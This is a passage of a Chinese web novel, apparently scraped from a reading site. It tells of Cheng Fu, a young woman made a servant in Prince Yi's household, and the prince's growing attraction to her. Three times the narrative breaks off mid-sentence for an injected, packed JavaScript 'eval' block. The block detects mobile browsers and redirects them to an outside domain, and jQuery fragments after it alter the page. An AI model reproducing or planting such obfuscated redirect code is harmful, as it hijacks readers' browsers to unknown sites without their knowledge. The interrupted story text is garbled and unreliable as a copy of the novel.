闻此一言,程芙的脸颊褪去了血色,连声线也泄漏出一丝颤抖,“王爷,民女也是人,生死之际如何做到救一个要杀自己的人?” “她的命比你贵。”崔令瞻平静地道出一个事实。 程芙:“……” 她做梦也没想到所谓的水难是人为造成的,杀手一直在附近,确定苏姑娘溺亡才离开。 离开的杀手却比程芙更早落进了毅王手心,酷刑之下,他供出一切,包括程芙挣扎时奋力还击…… 这充满求生欲的还击最终还是未能自救,苏姑娘的未婚夫猛然箝住了她小小的面孔,再往下两寸便是颈侧的脉搏。 程芙呼吸急促,胸脯剧烈起伏,于毅王眸中望见了面如金纸的自己。 那只捏住她的大手仿佛滚烫的铁钳,不乱动的话不痛,一挣扎就会越来越痛。 她下意识去推他,不啻推在了一堵坚硬的墙上,男女力量的巨大悬殊终于让她生出了绝望。 崔令瞻凝视她痛苦的小脸,即便她逆人性救了阿嫣也改变不了结局,杀手只会立刻补刀。但他是秩序的既得利益者,所学所思皆为维护秩序。 程芙的行为显然冒犯了他的利益。 她对权贵毫无发自内心的敬畏。 可她似乎受到了惊吓,崔令瞻的手自作主张松开了禁锢。 瘫软在地那瞬间光线一暗,程芙慌忙闭上眼,绷紧了神经。 未料预想中的打骂并未降临。 她惶然睁开眼睫,毅王已坐回了上座,面无表情俯视着她。 崔令瞻凝眸看了她许久。 “目下摆在你面前三条路,本王不说想必你也清楚。” “……” 程芙只知有两条绝路,不知还有第三条。 崔令瞻移开视线,盯着她身后斑驳的日影,徐徐道:“第一条,坐牢。毛知州手里没证据,定不了你重罪,但让你在狱中反省数十日还是可以的。” 程芙木然望向他,察觉到她的视线,他并不介意,也看向了她。她的眼睛像两汪水中的明月。 “第二条,遣返清安县,交由徐家人管教。你做了那么多坏事,送你回去也是应当。” 程芙身形微晃,不住地摇头,从她苍白的面色不难看出心底的恐惧。 “第三条,赎罪。做毅王府的奴婢。”他嘴角噙着一抹寒凉,“直到本王满意,你才能自由。” 崔令瞻好奇程芙会怎么选。 可他的胸口闷闷的,无端悸乱,仿佛他才是被迫生死抉择之人。 正常人都会选第一条路。 熬一熬数十日也就过去了。 然而程芙从毛知州的态度早已猜出自己的下场。 得罪了宣阳苏氏和毅王,在牢里还能有她的好?挨打挨饿都是轻的,只怕不出半月自己就要“病逝”了。 程芙的娘亲曾跟过一个捕快,对牢狱腌臜事再清楚不过。 “王爷,民女愿做奴婢。”她唇瓣翕张,声音轻得像一缕烟,“民女定会好好服役,为自己的行为赎罪,望您宽宥。” 崔令瞻捏紧的手指不由松开。 “你就不怕本王趁机要你小命?”他问。 要杀早杀了,方才他没有像别人那样打她,她就有强烈的预感……预感第三条路是唯一的生路。 “王爷公正廉明,慈悲心肠,一定会给民女悔过的机会。” 就算哪日后悔了想杀她,那也比在澹州坐牢、落入徐家人手中强。 下意识的,她觉得在毅王手里最多挨一刀,另两个可就不一定。 牢头们已经得了毛知州许诺,今晚就要她轮流伺候他们。 她跪在地上,剧烈喘息。 “你不是不为奴?”崔令瞻扬起线条分明的下颌,讥讽道,“这就忘了家母遗训?” 程芙错愕抬眸,眼睫轻颤,嘴角不住地抿了又抿,原来他在这儿等她呢,他早就算好了,等她自己跳坑。未婚妻因她不愿为奴含恨九泉,他就要她做一辈子奴。确实比一刀了结了更有趣。 方才她眼底一掠而过的是不是憎恨?崔令瞻的心跳与呼吸微乱,怔怔望着她。 她有什么资格? 彼时暮色沉,他与她目光相抵,霞光落在她薄薄的眼皮,映红了眼圈,他偏过头,移开了视线。 谁都没有再说话。 日落前,程芙被狱婆提了出去。 这回她们没再打她,而是打开了她的手链脚链。 毅王的婢女把她领进了三进院,交给一名气质温婉优雅的贵妇。 婢女在贵妇耳畔小声低语了一阵,复又转身告诉程芙贵妇姓薛,女官出身,是毅王的乳母,称她薛姑姑即可。 程芙屈膝施礼:“薛姑姑。” 两日后,她坐在最后排的马车里,被带到了燕阳府。 崔令瞻则在澹州多停留五日,处理剩下的事务。 毛知州一句话也不敢多讲,唯恐做不周全,就寻个机会在凌云跟前说话。 “凌大人,案子就这样结了?”他腆着脸笑。 凌云回身,看见他,道:“此案无须你再插手,少自作聪明。” 毛知州一窒,忙揣着手赔笑道:“下官实在愚钝,求大人再给下官一点点明示……” “别以为毅王不知你与苏家人的勾当。”凌云留下一句话,大步流星踏出了衙署。 毛知州惴惴不安,次日就把苏家的人请出了客房,假装不熟。 这可急坏了苏家二老爷,大侄女意外身亡,早不亡晚不亡,偏偏在大婚前五个月亡了,彻底斩断苏家与毅王最后一丝牵连。 苏家严选的两名嫡女还等着姐姐嫁过去接她们封侧妃呢。这下好了……没有姐姐的关照,侧妃之位便是排队也排不到她们的。 毅王未婚妻意外身亡的奏闻于四月初传进了皇宫。 皇帝嘴上说了句可惜,心里实则还挺高兴,从一开始他就没瞧上苏家。 皇后倒是真心实意伤心了一天。 毅王是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422421|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她那早逝的亲侄女嫡子,也是唯一与她有血缘关系的皇孙,她既是毅王的皇祖母也是毅王的亲姑祖母,怎可能不心疼。 那苏家如今确实落魄,可苏月嫣却是万里挑一,比邱贵妃娘家的女儿们不知要好多少倍。 没有苏月嫣,阿诺的婚事怕是又要受制于人。 阿诺是崔令瞻乳名。 皇后擦了擦眼角。她是一万个不想看到邱家的姑娘进毅王府指手画脚。 毅王自然比她更不愿意。 苏月嫣遇害牵连甚广,崔令瞻并未在奏闻中详述,而是亲自去了趟宣阳,一待便是数月。 时光晃眼就翻到了九月份,京师那厢急不可耐,连番召他入京选妃。 不用去他也知所谓的选妃早被内定。 普通人尚可用未婚妻去世仅半年搪塞,亲王可就难了,穿三天素服已算是旷世“深情”。 故而邱贵妃连夜便与皇帝商量毅王妃人选,不料还未入冬就收到了毅王旧疾复发,亟待静养的奏闻。 邱贵妃心急如焚,皇帝只好指派一名可靠的御医并两名太医署的吏目前往燕阳府侍疾。 那日程芙以奴婢的身份随薛姑姑来到了王府。亲王府在她的想象中应是比知州衙署更大更奢侈,可当身临其境,现实远远超过了想象,她本能地战栗。 一整条街都是毅王的。 入目便是屋宇式的街门,巍峨磅礴,面阔五间,中间启三门,足足排列了九行七列六十三颗纯金门钉。 象征至高王权的翠绿琉璃瓦,仅次于皇宫的明黄琉璃瓦,在阳光下熠熠生辉。 因一进院中路分布着王府十大办事公署,全是外男,仆婢簇拥着薛姑姑走了西路的角门。 门后停着两辆小骡车。 众人乘车穿过一进院、二进院,从三进院开始步行至五进院落,才纷纷停下。 看得出薛姑姑的地位很高,却没有托大坐软轿,始终步行。 重重叠叠,砖墙高耸,程芙想:便是话本里飞檐走壁的英雄也飞不出,只有薛姑姑那样深得毅王信赖之人才能来去自如。 她垂眸盯着脚下的青砖。 薛姑姑扫了她一眼,见她虽未通王府规矩,行止却端正有度,不像是没有教养的市井恶女。 王府婢女基本群居五进院后罩房,分上下两层,程芙被安排在西北角二楼最西面的一间,原是杂物间,管事娘子让她自己收拾收拾。 身为粗使婢女住进了“单间”,乍一看她条件不错,实则是管事娘子听说了她的来历,恐她是个刺头伤及无辜,便专门将她单独隔开。 所谓的单间条件还远不如粗使婢女,冬凉夏暖,离大厨房和热水房最远,当完差回去的路也比别人漫长。 上面的意思是不叫她饿死冻死便可,管事娘子遂按章办事,发了她三套过冬的衣裙、两床厚实的旧棉被。 当下要穿的肯定来不及做,但也不是真来不及,只是不值当为她罢了。于是管事娘子搜罗了几套别人不要的给了她。 程芙白日在西路的花园扫地、浇水、除草,各处洗洗擦擦,晚上回去在豆大的灯下修改肥大的衣裙。 她缝缝补补,认真仔细。 阿娘说直木先伐、甘井先竭,做人当藏锋守拙,学会安静等待。 5. 第 5 章 日子眨眼翻过了四十余日,原以为程芙是市井恶女的管事娘子暗暗咋舌,好乖的小丫头,礼仪规矩分毫不错,说是大户人家落难的千金她都信。 程芙为人敦厚老实,叫做什么就做什么,叫去哪儿就去哪儿,不带一丝偷奸耍滑的。 偶尔“忘记”分她例赏,她也不吭声,像是个隐形的人。 可她又很难真正隐形。 不管她做什么,都要招来几道不明的视线——惊艳、好奇、试探。 年轻女孩子凑一起,什么都会有。难免有心胸窄的,唯恐她夺了自己在主子跟前表现的机会;也有大气爽朗的,觉得她性格谦和好说话,主动与她亲近。 人与人各不相同,或吸引或排斥,都在这座巨大的樊笼中各司其职,恪守本分。 立冬天气转凉,毅王终于回府。 王爷回府是王府头等大事。众人为此忙碌了四天五夜,连程芙这等边缘小角色也不得闲,须得分担别人的差事,别人则去分担更重要的。 午后她又领了个额外的差事,帮生药馆打下手。 王府的生药馆其实就是两间小抱厦,中间打通,主要用来存放药材,东南角摆着一张红木桌案,桌案后坐着个医婆,王府的仆妇婢女哪里不舒服就来这里请医问药。 小毛病一看就好,大毛病则要迁出王府送到庄子上。 这比徐知县的县衙不知好多少倍。 县衙仆妇病了得自己花钱请门子问医,买的药往往不对症或以次充好,病重的不等咽气就被草席子一卷丢进乱葬岗。 程芙被调来的原因其实很简单,馆中粗使婢女摔断腿,做不了大部分的活,而断骨怎么也得养个百日,为此调个粗使过来不值当,不调的话又不妥,只能从别处“借”。 “借”相当于分担了原本杂役的差事但没有额外的例银,没人想去。 于是管事娘子就找上了无依无靠的程芙,她最好欺负。 这么做委实不地道。 但这么不地道对程芙,上面也就睁只眼闭只眼,别把人累死便好。 死是不可能死的。王府最低等的婢女也比种田的好过,种田的都没事她要是死了也只能说是命不好。 于是程芙就要在花园和生药馆两处当差,一个上午一个下午,终日无休。 说不累是假的,心里却有一些被刻进骨子里的悸动在苏醒。 她喜欢那些小抽屉里存放的草药,数百种,每一种都在《药经》有自己的一页。 她和医婆不一样,她闻闻味就知道这药怎么配、配多少,但她并非师从正统医道,常人见了也不敢信她。 程芙的到来使得生药馆渐渐变得有生气,茶水不再苦涩,连角落都纤尘不染,医婆笑逐颜开。又见她看起来懂不少的医药经,比原先大字不识的笨货强多了,便时常赏她些笔墨、廉价草药。 都是王府的份例,医婆用不了多少,卖又不方便,给外行的人白搭,倒不如赏程芙。 管事娘子万没想到自己的安排竟是把老鼠丢进了米缸。 正因如此,程芙再是疲惫也谨小慎微,唯恐医婆提前撵她走。 崔令瞻回到府中一切如旧,最开心的莫过于阿真,蹦蹦跳跳,张着小手儿还要他抱,却被乳母劝住了。 乳母柔声道:“不能够了哦。咱们郡主今年已经五岁,来年可就六岁,是名门淑女,可不能再要哥哥抱来抱去。” 阿真微微失落,只好拉着哥哥的手,兄妹俩开开心心吃了顿丰盛的家常饭。 这个年纪要兄长抱其实不为过,只是阿真幼失怙恃,没有母亲的女孩声誉比旁人更脆弱,容不得一点闪失。 崔令瞻才对她的要求严格了些,长大了好不让人看轻。 比起他和阿真的手足情深,阿哲就拘谨许多。 崔哲乃燕王仅有的庶子,比崔令瞻小三岁。他从小一见崔令瞻就发慌,好在碍于庶子的身份,也没多少机会亲近兄长,一般闯了祸和缺钱才会主动找过来。 为兄长接风洗尘的家宴崔哲自然不敢缺席,老早穿戴整洁。 他今年已有十七,到了说亲的年纪就得避嫌,去年便搬出中路,迁进东北角的四合院,亦是将来娶亲生子的地方。 王府是兄长的,王府的女人自然都是兄长的,中路西路到处都是莺莺燕燕,他行走其中难免遇上,血气方刚的万一发生什么就说不清。 故此乳母不时叮嘱他想要女人大可直接问王兄要,切莫胡来,来王兄这里言行亦不可轻佻。 可他还是忍不住偷瞄王兄的宫女绿娆,一时痴了,下意识咽了下口水。 这么多美人,用也用不完,为何就不能主动赏他一个,哪怕用过的也行…… 崔令瞻瞥了崔哲一眼,待小妹离席更衣,才无波无澜启音:“你一无爵位二无功名,又不愿进军营吃苦,若再不修身养性,谁家端正的名门小姐肯嫁于你?” 父王在世时就不提倡子嗣十八岁前与女子同房,容易坏了精元和斗志。 崔哲脸一红,嗫嚅道,“是。弟知道错了。” 心里却在想王兄说的真轻松,一屋子美人儿,还有宫里送来的掌寝。这厢亲还没成,那边等着做他侧妃的都开始排队,实乃饱汉不知饿汉饥,哪里晓得他精力充沛的苦。 然而腹诽归腹诽,他还是老实地聆训,回去读书练武。 殊不知兄长跟他一样,也没尝过女人的滋味,但不是身体缺陷更不是对女人没兴趣,单纯就是没空。 忙碌的人根本无暇思男欢女爱之事。 崔令瞻以真凶之血告慰阿嫣冤魂,却被坐收渔翁之利的邱家纠缠,只得回王府装病。 装了半个月,人一下子就空闲起来。小雪那日便做了莫名的梦,月色清浅,勾勒着她起伏的线条,细微处却是朦胧的,如真似幻,看不清她的长相,但他知道这是被他关入笼中的金雀。 她像一尾狡猾的小鱼,不叫他靠近。他不愿放她走,遂褪了衣衫跳入水中,捉住了她纤细的脚踝。 她的肌肤宛若上等的丝绸。 他看不清她到底长什么样子,凭着感觉找到了地方。 惊喜的是她也很喜欢他,非但不嗔怪他的冒犯还环住了他的脖颈,羞涩地迎上他热情的唇。 这个梦酣畅淋漓,天不亮崔令瞻就喘息着睁开眼。 他坐起身冷静了好一会,那不啻被人抽走了魂魄的愉悦交织着不甘、羞耻仍在萦绕。 当值的婢女听见动静连忙走出,远远瞧见王爷把浴房的门关上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422422|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎还有门栓的声音,她就没敢再靠过去。 内侍墨砚问:“绿娆姐姐,今儿王爷去不去银安殿?” 绿娆:“去不去的你都叫那边安排好王爷的午膳。” “好嘞。” 银安殿是亲王府独属于男主人的院落,也是最大的建筑群,在二进院。 天不亮程芙就拖着扫帚赶往自己负责的映水荷香园。 园中草木葳蕤、雕梁画栋,可惜最好的景致尚不在季节,小郡主便不再过来,唯有当值的仆婢和巡逻的粗壮婆子会路过。 小郡主不来的话,程芙等人骤然轻松不少,否则脑袋里的那根弦时刻都得绷着。 她蹲在犄角旮旯用早食,一个鸡蛋、两只包子和一壶自己泡的粗茶。 包子时荤时素不固定,但味道新鲜,是磨得很细的小麦粉。 用完饭她会仔细漱口,嚼一下柳枝,把牙齿养得甚好。 阿娘在世时就极重视她的头发和牙齿,总说牙疼不是病疼起来要人命,牙口好脾胃也好,身子骨才能更好。头发就更不用说,把头发养得好女儿家的气色才好。 总之,阿娘很爱很爱她,把她养得白里透红。 她也要把自己养得很好,哪天地下见了阿娘,省得她担心。 彼时天色正朗,乌桕枝桠漏下碎金的光,程芙已扫了大半的园子。 小郡主说乌桕树的叶子像彩虹,故常遣人过来收集,扫地的程芙却体会不到乌桕四季更迭的美。 只觉得它的叶子密密麻麻,落在地上厚厚的,扫起来很累。夏日还会长一种可怕的虫子,管事娘子就会吩咐她撒药捉虫。 手指一不小心就会被坏虫子的刺攮到,钻心地痛,要痛好几天。 自从入了冬,叶子掉得差不多,她总算可以喘口气。程芙双手扶着竹扫帚稍作休息,仰脸望着讨厌的乌桕树发呆。 倘她偏过头,就会发现不远处的荷塘小榭,一个年轻男子也在望着她。 他有双极其漂亮的眼睛,肤色如雪,他看她的眼神平静又专注,心里却在好奇她的一切。 好奇她令人心动的皮囊,复杂的性格,温柔声音里的喜怒哀乐。 尽管他知道这种女孩儿不可能好,更不可能还是处-子,依然没有理由地走了过去。 崔令瞻问:“为何唉声叹气?” “要是能在树下种几株猫儿草就好了。”程芙喃喃道。 “你喜欢小猫?” “奴婢种给自己用。”程芙指着枝桠道,“到了夏日上面就长一种扎人的虫儿,用猫儿草敷一敷就不痛了。” 冷不丁听见男子的声音,一般女孩不是羞涩便是惊讶,她竟自然而然地与他对答。 能在这里出现的男子不是宦官便是毅王。宦官的声音没这么低醇。他一开口程芙就知是毅王。 所以她转过身,把竹扫帚放在旁边,屈膝施了一礼,仪态标准。 “王爷金安。” 靠近了崔令瞻才发现她变化颇多。 短短半年长高了,清瘦几许,眼睛却明亮如初,声音依旧好听,裹了甜甜的澹州口音,明明轻快的方言,从她口中变得说不出的缠绵。 一切的一切都在崔令瞻深邃眸中凝结,像幽夜的海。 6. 第 6 章 映水荷香园最美的景致不在季节,不代表其他的景致不好看。水榭旁挂着灯笼的柿子树就美得让人眼前一亮。 不过管事娘子严禁摘柿子吃,就图一好看。 毅王来此大约也图这个吧。 程芙落落大方,温顺恭敬。 她接差事不问好坏,是园子里出了名的老实人。老实到管事娘子每次安排她都于心不忍,渐渐对她不那么严防死守。 管事娘子还将程芙近来废灯油一事禀告了毅王,原来是在抄《地藏经》,昨晚已抄到了《大般若经》。 她假装不懂问程芙这是何意,程芙惭愧答:“只是不该活着的人为本该活着的略尽一份绵力罢了。” 日日悔过,超度亡魂,不敢懈怠。 也没人教她,她就这般懂事了。 难道是真知道错了? 但程芙说自己不该活着,崔令瞻的心无端停滞了下。 他垂眸看她,道:“半年不见也算大有长进,连唐妈妈都忍不住夸你。” 唐妈妈便是管束程芙的管事娘子。 “王爷赞誉,奴婢谨领了。”程芙欠身道,“经后奴婢定当加倍用心。” 崔令瞻:“把脸抬起。” 下意识的一句命令,其实他也不清楚自己究竟想要什么,大概是想仔细看她的眼睛。 程芙抬眸迎向了他,弯弯的眉毛下一双杏眸宜喜宜嗔。 崔令瞻的目光落在她红润润的唇上,发现她有点孩子气的唇角在上扬。 她真爱笑。 笑靥如花,让看着她的人心情也跟着变好。 崔令瞻撇开了脸,问:“为何笑?” “奴婢自知罪孽深重,不配幸福,可都过去了半年,倘若奴婢还在王爷平安归府时哭丧个脸,只会更惹人嫌。”她柔声道,“让管事们瞧见也要责罚奴婢的。” “你不需要哭丧着脸。”他说,“你只需做好分内之事。” 程芙:“是,王爷。” “既如此,明日便去领二等婢女的差事。” 程芙眼睛一亮,又不禁蹙了眉,却不扫他的兴,屈膝回:“多谢王爷恩典。” 本该把她丢在角落不闻不问的,可她都知道错了似乎也就没有必要,不过直接提了一等也不妥,崔令瞻遂才许了二等。 原以为她的笑意会因此直达眼底的深处,可她眉心郁色为何愈浓? 崔令瞻误以为心气儿高的她嫌不够,就耐心解释:“二等多由家生子担任,光月例便涨了三倍,你才来半年,还想怎样?” 世上哪有那么多一步登天的好事,除非做他的女人。 只这话崔令瞻不可能明说,唯有真正渴求的人才会强求。程芙若真心求什么,自该她来求他。 “王爷误会了。”程芙道,“不管几等,只要王爷给的,奴婢都甘心领受,就是……” 就是什么?他认真望着她。 “奴婢很喜欢生药馆,您也知道奴婢从前就是靠这个谋生的,领了二等的差事之后还能再过去吗?” 原来是为了这个。崔令瞻莫名失落。 她仰脸望着他,眼睛里倒映着星辰,他怔怔回:“可以。” 怎会如此近? 原来他不知不觉走到了她面前,近到他自己都觉得紧张。 程芙没有后退,天真的眼眸里满是纯粹与坦诚。 崔令瞻回过神,后退两步,转身走了。 身后是她温柔的声音:“恭送王爷。” 程芙面无表情。 崔令瞻回首凝眸看她,她一脸懵懂。他收回视线,沉默着返回书房。 她前科累累,他并不想纳她,不纳的话便只能当外室,可他不想再为难她了。 崔令瞻冷静下来,让自己忘了程芙。 彻底忘记。 程芙轻笑,撇了撇嘴,“道貌岸然。” 用过午膳,程芙去了生药馆。 医婆没好气道:“我开的方子看着便宜保管药到病除,你怎净要些贵的?” 贵的药材查得极严,便是她自己都贪不到多少,否则人人都要吃好药,那得多少钱? 程芙有没有病医婆还能不清楚,之所以偶尔给她点廉价的是因为真的不值钱,没想到她竟狮子大开口,上来就索要红花、人参等物。 程芙把攒了半年的体己悄悄塞进医婆手里,赧然道:“我这月事有时不规律,您瞧发梢这里还有点黄了。我想弄些滋容养颜的好东西,把自己养一养。” 这话要是个普通婢女说,医婆自然不屑,可程芙这么说,医婆倒没法怀疑。 美貌也是资源,同别人的一技之长并无高低贵贱之分。程芙的美貌已然是极品,但凡有个时机必然飞黄腾达。 然而美貌是要精心维护的,整日做粗活难□□失些,如今她想花大价钱挽回也属情理之中。 医婆想:她这样的早晚要给毅王做妾,再不济也能给二爷做妾,那就算半个主子,我今日予她方便,来日说不定也能得她方便。 几经权衡,医婆总算点头。 但她不敢乱开生药馆的药材,而是用程芙给的钱在外头买了一些。 因她有关系,买到了边边角角的碎料,东西都是好的,分量上就差了些,好在齐全。 程芙也不敢要求太多,再三谢了医婆。终于凑齐药材,就连夜捏了三枚避火丸。 原本她还打算走别的路子取信毅王,竟忽略了一个事实——毅王也是男人。 男人最想从她身上得到什么,不言而喻。 他之所以道貌岸然,皆因特权赋予的高傲和未婚妻意外身亡的迁怒在作祟,他不甘心臣服低贱的下等人裙间,然而再高贵的男人底色都一样,总有一天他会自洽,自洽之后暴露的真面目无疑更肆无忌惮,程芙的下场也只会更惨。 她不得不早做准备。 当年阿娘自知命不久矣,拖着病体教她配了这味药,与她说:“如若躲不过就想办法吃一粒。” 程芙不解:“阿娘要我服毒自尽以保清白吗?” 阿娘:“傻瓜,无论何时都不该轻易放弃自己的性命。此药可免你生育之苦,微量的情药保你受迫时不至于受伤。” 当年听不太懂,后来懂了。 这是阿娘留给她的最后一道保命符。 次日,唐妈妈果然通知她去毅王的内书房月地云斋当差。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422423|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程芙清脆地应了声,顶着四面八方凌厉的视线回屋里收拾。 大家都是一样的下等人,突然有一个扶摇直上,那剩下的多少会心里不平衡,这是人之常情。 但嫉妒一下也就过去了,毕竟自己的日子最重要。没有谁会把谁真的放心里,天天放心里。 月地云斋在四进的位置,东临未来王妃的居所,西面则是未来侧妃的,彼此距离不远不近,十分巧妙。 程芙迈了进来,从头到脚就一个包裹。之所以带包裹是为了方便将来值夜,大多时间她还是要回后罩房的。 绿娆没想到唐妈妈一点也未夸大其词,程芙比描述的还要漂亮。这般美貌流落在外定是吃了不少苦,歪打正着进了王府也算是她的造化了。 其实唐妈妈还有些话并未正面明说,点到即止,绿娆心里却是有数的。她仔细打量程芙一会儿,才走出曲廊迎上来,笑道:“好妹妹,当真是天仙模样,唐妈妈竟是一点也未胡诌。” 程芙有个怪毛病,对付男人游刃有余,可一被年纪差不多的女孩子夸就局促起来,粉面薄红,常使人误以为她是个内敛的性子。 绿娆的言行举止与后罩房那些人明显不属于同一个层次,穿戴更是不一般,说是王府的妃子、夫人,程芙都不会怀疑,直到见了其他婢女才了然,这只是王府一等婢女的正常排面罢了。 她初来乍到,薛姑姑和绿娆都不可能让她当差的,照例是先学规矩。 等学好了规矩,二等婢女的新衣裙也发到了程芙手里。摸着那昂贵的丝绸,便是去典当行抵押都能换不少钱,难怪后罩楼的女孩子争得急赤白脸。 在毅王身边伺候的婢女小厮跟其他地方不一样,即使是三等都很有派头,二等吃穿用度已经比小官家的千金小姐还来得奢侈。 程芙这等资历的从天而降很难不成为焦点,大家嘴上不说,目光明里暗里都在盯着她。 但这里有薛姑姑坐镇,能走到这里的人也都不是普通人,无论能力还是心智皆非同一般,不可能像底层丫头们似的为个针头线脑撕扯,事实上她们对程芙还特别好,温温和和的。 原因无他,这是王爷看上的女人,鬼才信是来当二等婢女似的,怕是不等年后就要变成一等了,快一些的话值夜就值进了王爷床上。 绿娆心如明镜,在排班时刻意将程芙安排得离王爷很近,取代了一等婢女的位置。 月底下了一场大雪,绿娆迈进暖阁,对崔令瞻屈膝施了一礼,回道:“新来的阿芙规矩已成,薛姑姑也点了头,奴婢便重新排了当值的名单,请王爷过目。” 崔令瞻笔尖一顿。 他当然知道程芙早就来了内书房,也为此后悔不迭,当初该让她去外书房的,可是外书房的外男实在太多了,她这副容貌多半会给他闯祸。 在内书房的话意味着时不时就能见面了,他心里竟是如释重负,大约是忘了要忘记她的决定。 可他不能。 崔令瞻默默扫了一眼名单,唇角微抿,良久才淡淡道:“二等就去做二等该做的事。” 绿娆心惊肉跳,躬身回:“是,王爷。” 此后很长一段时间没敢再自作主张。 7. 第 7 章 话说程芙的二等身份让绿娆好一阵为难。 然而王爷说她二等就得是二等,那让她做什么呢?绿娆思考了一天一夜也没想出个完美的差事。 重活肯定不行,把人累坏了将来吹个枕边风准没她好果子吃。 别的也不行,王爷的饮食起居属于核心要务,拴着所有人的脑袋,程芙资历不够。 左右为难。 最终绿娆把一些零碎的活分派给程芙,不重要但也不会显得太突兀。 诸如给王爷喜欢的花草浇一浇水;逗一逗廊上五颜六色的珍禽,理一理花房送来的鲜花。 不伦不类的。 月地云斋说是毅王的内书房,实则厅堂、寝卧、暖阁、小厨房,各类功能起居室不胜枚举。 程芙发现每当她浇完花要送进书房,就会有小厮立刻上前接过去。 别鹤笑吟吟的:“芙姐姐,我力气大,粗活都让我来。” “好。”程芙表现得还算有眼色,并不跟过去,“辛苦你了。” 以她的资历远不能够进去,那是男主人的重地。 也就薛姑姑、贴身小厮内侍,家生的婢女方可进。 别鹤比程芙肩膀略高,没想到小小年纪还真有些力气,抱起花盆小短腿迈得飞快。 程芙站在拐角望着书房的雕花檀木槅扇出神。 毅王的私印肯定在内书房,说不定还有她的身契。徐峻茂就是在徐知县的内书房偷的私印和盖过章的空白路引,再买通黄册匠,找黑市的人用馆阁体仿写做旧,肉眼真假难辨。 一份就要八十两的天价,而黄册匠则要收取二百两的运转费。 二百八十两都够在京师买宅子了。 怕也只有亡命之徒才舍得。 程芙的钱袋子比脸还干净,便是有钱她也进不去书房,进去了也摸不着东南西北。 不过饭要一口一口吃,不能急,程芙抚平繁乱的心绪,漫无目的舀起一瓢水,腕子就被人从身后箍住。 又暖又硬。 惊得她失手打翻了木瓢,水花落在地上,溅湿了金线绣纹的墨色宋锦衣摆。 “天寒水多易冻杀根须。”程芙听见头顶传来熟悉的声音,“别再浇它。” 程芙蓦地抽回腕子,转身行福礼告罪:“王爷恕罪,是奴婢愚钝了。奴婢此前从未学过花草的养护,幸得王爷提点,以后就记住了。” “本王没有责怪你的意思。” “……” 崔令瞻没想到会吓着她。 程芙左右瞧瞧,发现大家都背过身各忙各的,仿佛未曾注意这里。 她仰脸看他,复又低下脸,抽出帕子蹲身给他擦衣摆,“奴婢给您擦擦。” 崔令瞻退了一步,指腹尚残留着她手腕的柔滑。 “不用你管。” “……” 程芙从善如流,攥着自己的手恭恭敬敬侍立。 他淡声道:“是绿娆没安排好,你不适合做这些。” 让她看看鹦鹉也就罢了,竟让她养花。 崔令瞻心疼被养死的两盆花草,他在心里想,必须过来与她说清楚状况,叫她别碰他的东西。 旁边的绿娆听见王爷说自己没安排好,顿时瑟缩了一下。 这些花又不是多名贵的,要多少有多少,以前也不是没被她们养死,怎不见他过来说。 再说,不给阿芙找点事儿做也不好看啊,谁叫他不让人侍寝,大家总不好直接拿阿芙当小夫人待吧…… 小夫人是对亲王妾室的尊称。 “跟过来。”崔令瞻抬脚朝书房走去。 程芙:“……” 绿娆用胳膊拐拐她,“叫你过去。” 程芙点点头,“是。” 她随身带着避火丸,倒也不怕与崔令瞻独处,便依言走进了书房,真暖和,熏炉里燃着不知名的香,宛若初春的林间。 书房比她想象中的还要大,仅以月洞飞罩分隔,每一隔间都林立着楠木书架,摆着密密麻麻的书册卷轴,穿过三道,看见崔令瞻,她才停下。 “王爷。”程芙福了福身。 崔令瞻站在书桌后,挑开右手边的机括,那柜子便弹出个抽屉型暗格,他从中拿出一只西潘莲纹的珐琅圆盒,两枚铜钱大小。 程芙:“是给奴婢的吗?” 她望着崔令瞻手伸来的方向。 崔令瞻点点头。 程芙眼底漾出感激之色,走过去双手接了,“多谢王爷厚赏。” “你连是什么都不问,便知本王赏你?”崔令瞻问。 “让王爷见笑了,奴婢瞧着盒子不俗,直觉肯定是好东西。” “薄荷蛇油。”他说,“本王身边的人满手冻疮,有碍观瞻。” 程芙尴尬赔笑:“奴婢惭愧,这是从前留下的老毛病,跟王爷无关,旁人要笑也只能笑奴婢从前生活的地方。” “难道徐家冬日用不起炭火?”崔令瞻坐进圈椅,往后仰了仰,凝眸看她。 程芙一向不爱跟人谈论自己,尤其是过去。她捺下不悦,轻描淡写道:“知县也没多有钱的,何况奴婢也不是正经主子。” 崔令瞻不知哪里又惹了她,她的眼睛里总有自然的疏离。 不过她好像也没有与他不疏离的理由。这不就是他要的吗?崔令瞻喉结缓缓滑动了一下,缄口无言。 薄荷蛇油是稀罕物,程芙深谙不患寡而患不均,甫一走出书房就藏进棉袄的夹层,免得招眼。 